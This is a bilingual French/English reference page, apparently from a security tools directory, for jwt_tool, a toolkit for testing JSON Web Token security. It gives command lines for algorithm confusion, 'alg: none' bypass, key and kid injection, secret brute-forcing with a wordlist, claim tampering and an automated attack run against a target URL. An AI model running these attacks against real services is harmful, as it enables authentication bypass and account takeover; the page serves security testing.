← retour aux outils back to tools

# jwt_tool

Boîte à outils pour analyser, fuzzer et exploiter les vulnérabilités des JSON Web Tokens : confusion d'algorithmes, injection de clés, et plus. Toolkit for analyzing, fuzzing, and exploiting JSON Web Token vulnerabilities — algorithm confusion, key injection, and more.

↗ https://github.com/ticarpi/jwt_tool

## Overview

jwt_tool is a Python toolkit for testing JSON Web Token security. It decodes tokens, identifies the algorithm and claims, and automates common JWT attacks.

## Common Usage

Decode and display a token

    python3 jwt_tool.py <token>

Test all common attacks

    python3 jwt_tool.py <token> -t https://target.com/api/me -rc "Cookie: jwt=JWT_HERE" -M at

Algorithm confusion (RS256 → HS256)

    python3 jwt_tool.py <token> -X a -pk public.pem

None algorithm attack

    python3 jwt_tool.py <token> -X n

JWKS injection (supply your own key)

    python3 jwt_tool.py <token> -X s

Brute-force HS256 secret

    python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt

Modify a claim and re-sign with known secret

    python3 jwt_tool.py <token> -S hs256 -p 'secretkey' -T

→ (then edit the claim interactively)

## Common JWT Vulnerabilities

Attack | Flag | Description
--- | --- | ---
Algorithm confusion | `-X a` | RS256 public key used as HS256 secret
`alg: none` | `-X n` | No signature verification
JWKS injection | `-X s` | Embed attacker-controlled key in JWKS header
Weak secret | `-C -d list` | Brute-force HS256 secret
Key confusion | `-X k` | Use JWK header to supply own key

Help / Man page

    python3 jwt_tool.py <token> [options]

    TOKEN:
      token       JWT to analyze (can also use -rh/-rc/-pd to extract)

    ANALYSIS:
      (no flags)  Decode and display token

    ATTACKS (-X):
      -X a        Algorithm confusion (RS256 → HS256 with public key)
      -X n        None algorithm bypass
      -X s        JWKS injection (spoof key)
      -X k        JWK header injection
      -X b        blank password / null byte attacks
      -X i        kid injection (SQLi / path traversal)

    SIGNING:
      -S ALGO     Sign with algorithm (hs256, hs384, hs512, rs256...)
      -p SECRET   Secret/key to sign with
      -pk FILE    Public key PEM file (for algorithm confusion)
      -pr FILE    Private key PEM file

    CRACKING:
      -C          Crack HS secret
      -d FILE     Wordlist for cracking
      -d dict     Dictionary name (rockyou, etc.)

    TAMPERING:
      -T          Tamper mode (interactive claim editing)
      -I          Inject mode (add/modify specific claim)
      -pc CLAIM VALUE  Set a specific claim value

    TESTING:
      -t URL      Target URL to test against
      -rh HEADER  Request header containing token
      -rc COOKIE  Request cookie containing token
      -M at       Test all attacks automatically

## Vue d’ensemble

jwt_tool est une boîte à outils Python pour tester la sécurité des JSON Web Tokens. Il décode les tokens, identifie l’algorithme et les claims, et automatise les attaques JWT courantes.

## Utilisation courante

    # Décoder et afficher un token
    python3 jwt_tool.py <token>

    # Tester toutes les attaques courantes
    python3 jwt_tool.py <token> -t https://target.com/api/me -rc "Cookie: jwt=JWT_HERE" -M at

    # Confusion d'algorithme (RS256 → HS256)
    python3 jwt_tool.py <token> -X a -pk public.pem

    # Attaque algorithme None
    python3 jwt_tool.py <token> -X n

    # Injection JWKS (fournir sa propre clé)
    python3 jwt_tool.py <token> -X s

    # Brute-force du secret HS256
    python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt

    # Modifier un claim et re-signer avec un secret connu
    python3 jwt_tool.py <token> -S hs256 -p 'secretkey' -T
    # (puis éditer le claim de manière interactive)

## Vulnérabilités JWT courantes

Attaque | Flag | Description
--- | --- | ---
Confusion d’algorithme | `-X a` | Clé publique RS256 utilisée comme secret HS256
`alg: none` | `-X n` | Pas de vérification de signature
Injection JWKS | `-X s` | Intégrer une clé contrôlée par l’attaquant dans l’en-tête JWKS
Secret faible | `-C -d list` | Brute-force du secret HS256
Confusion de clé | `-X k` | Utiliser l’en-tête JWK pour fournir sa propre clé

Aide / Page de manuel

    python3 jwt_tool.py <token> [options]

    TOKEN:
      token       JWT to analyze (can also use -rh/-rc/-pd to extract)

    ANALYSIS:
      (no flags)  Decode and display token

    ATTACKS (-X):
      -X a        Algorithm confusion (RS256 → HS256 with public key)
      -X n        None algorithm bypass
      -X s        JWKS injection (spoof key)
      -X k        JWK header injection
      -X b        blank password / null byte attacks
      -X i        kid injection (SQLi / path traversal)

    SIGNING:
      -S ALGO     Sign with algorithm (hs256, hs384, hs512, rs256...)
      -p SECRET   Secret/key to sign with
      -pk FILE    Public key PEM file (for algorithm confusion)
      -pr FILE    Private key PEM file

    CRACKING:
      -C          Crack HS secret
      -d FILE     Wordlist for cracking
      -d dict     Dictionary name (rockyou, etc.)

    TAMPERING:
      -T          Tamper mode (interactive claim editing)
      -I          Inject mode (add/modify specific claim)
      -pc CLAIM VALUE  Set a specific claim value

    TESTING:
      -t URL      Target URL to test against
      -rh HEADER  Request header containing token
      -rc COOKIE  Request cookie containing token
      -M at       Test all attacks automatically